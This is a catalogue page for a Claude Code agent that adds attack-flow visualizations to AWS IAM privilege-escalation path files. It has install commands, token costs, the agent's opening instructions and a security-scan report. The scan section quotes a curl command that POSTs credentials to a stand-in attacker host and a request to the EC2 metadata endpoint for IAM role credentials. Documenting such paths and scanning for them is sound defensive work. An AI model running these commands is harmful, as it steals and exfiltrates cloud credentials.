add-vis

An agent that adds or reviews attack visualizations in AWS IAM privilege-escalation path YAML files.

In plain words
What is it for?
Use it to update AWS attack-path data with visualizations, following the project schema and examples for self-escalation, lateral movement, and workload paths.
Why use it?
It turns a privilege-escalation path into an interactive graph, making the route from an initial identity to its outcome easier to inspect.

Agent for Claude Code

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add agents/datadog/pathfinding.cloud/add-attack-visualization
Clone the repo
git clone --depth 1 https://github.com/DataDog/pathfinding.cloud

Made for: Claude Code.

Per session 13 Only the description is in the session, so the agent can decide to use it. The body loads when it is invoked.
When invoked 7,736 The whole file, excluding the scripts and references it only reads on demand.
Security scan D 3 findings. Scan, not verified.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5 $0.00013 $0.07736
Opus 5 $0.00006 $0.03868
Sonnet 5 $0.00003 $0.01547
Haiku 4.5 $0.00001 $0.00774

Measured 2d ago against content hash ca08e482375f, method: parsed. Prices are Anthropic first-party input rates as of 2026-08-30, from the pricing page.

Security

Grade D, and why

add-vis scanned grade D with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Sends data to an external URLmediumData exfiltration

A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.

curl -X POST https://attacker.com/exfil -d "$CREDS"

Cloud metadata endpointhighServer-side request forgery

One request to 169.254.169.254 can return temporary IAM credentials.

IAM role attached to the EC2 instance via instance profile. The role must trust ec2.amazonaws.com and have an instance profile associated. The role's temporary credentials are accessible via the instance metadata service

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

ROLE_NAME=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
.claude/agents/add-attack-visualization.md · 745 lines

How it starts

The opening of the file, as written. The whole thing — 745 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Attack Visualization Agent

You are a specialized agent for adding attackVisualization sections to AWS IAM privilege escalation path YAML files.

Your Task

Add a structured attackVisualization section to privilege escalation path YAML files that don't currently have one. The visualization creates an interactive graph showing the attack flow from starting principal to outcomes.

IMPORTANT: If the target YAML file already has an attackVisualization section, review the attack path that exists against the guidance within this agent and update the attack path so that it conforms with the current standard.

Required Reading

Before creating any visualization:

  1. Read the target YAML file completely to understand the attack path
  2. Read the attackVisualization section in SCHEMA.md for complete format and rules
  3. Review existing visualizations as reference examples based on the attack pattern:
    • Pattern A (self-escalation): data/paths/iam/iam-001.yaml
    • Pattern B (lateral movement): data/paths/sts/sts-001.yaml
    • Pattern C (PassRole workload with multiple methods): data/paths/apprunner/apprunner-001.yaml and data/paths/ec2/ec2-001.yaml
  4. Check if a matching scenario exists in ~/Documents/projects/pathfinding-labs/modules/scenarios/single-account/privesc-one-hop/ and use its scenario.yaml file to:
    • Validate your understanding of the attack flow
    • Extract any additional technical details (resource names, command syntax)
    • Ensure consistency with the practical implementation

Mandatory Rules

0. Description Formatting Rules (Applies to ALL Nodes and Edges)

CRITICAL: All descriptions must follow these formatting rules:

  • Text must flow as single-line paragraphs without artificial line breaks at ~80 characters
  • ✅ GOOD: The principal with iam:PassRole and ec2:RunInstances permissions. Can be an IAM user or role.
  • ❌ BAD: Breaking lines artificially at character limits:
    The principal with iam:PassRole and ec2:RunInstances
    permissions. Can be an IAM user or role.
    

Read the full file on GitHub · 745 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 2d ago First seen · 745 lines · 13 tokens per session scan D ca08e482375f

Subscribe to this mod's changes

add-vis is an agent published in the GitHub repository DataDog/pathfinding.cloud (152 stars, last pushed 7d ago), licensed Apache-2.0. It adds 13 tokens to every session and 7,736 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it D with 3 findings (sends data to an external url, cloud metadata endpoint, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.

Related

Other agents, from other repositories

Demonstrate

Agent for demonstrating VS Code features.

microsoft/vscode · 10 tokens

playwright-test-generator

Use this agent when you need to create automated browser tests using Playwright Examples: Context: User wants to generate a test for the test plan item.

microsoft/playwright · 151 tokens

.NET-Notebook-Migration-Agent

Expert .NET and documentation transformation agent that migrates Polyglot Jupyter notebooks into clean Markdown and companion .NET sample code.

microsoft/ai-agents-for-beginners · 33 tokens

AVM Owner Triage

Triage open GitHub issues across the Azure Verified Modules (AVM) repos an owner maintains. Splits the backlog into a Copilot-delegatable pile and a human pile, produces a report with a delegation ratio, and never comments or assigns without explicit user approval.

github/awesome-copilot · 61 tokens

Ultimate Transparent Thinking Beast Mode

Agent "Ultimate Transparent Thinking Beast Mode" from github/awesome-copilot, covering quantum cognitive architecture, phase 2: adversarial intelligence & red-team analysis, phase 3: implementation & iterative refinement and phase 4: comprehensive verification & completion.

github/awesome-copilot · 11 tokens

code-reviewer

Performs thorough code reviews for the Notebooks in the Cookbook repo, focusing on Python/Jupyter best practices, and project-specific standards. Use this agent proactively after writing any significant code changes, especially when modifying notebooks, Github Actions, and scripts.

anthropics/claude-cookbooks · 52 tokens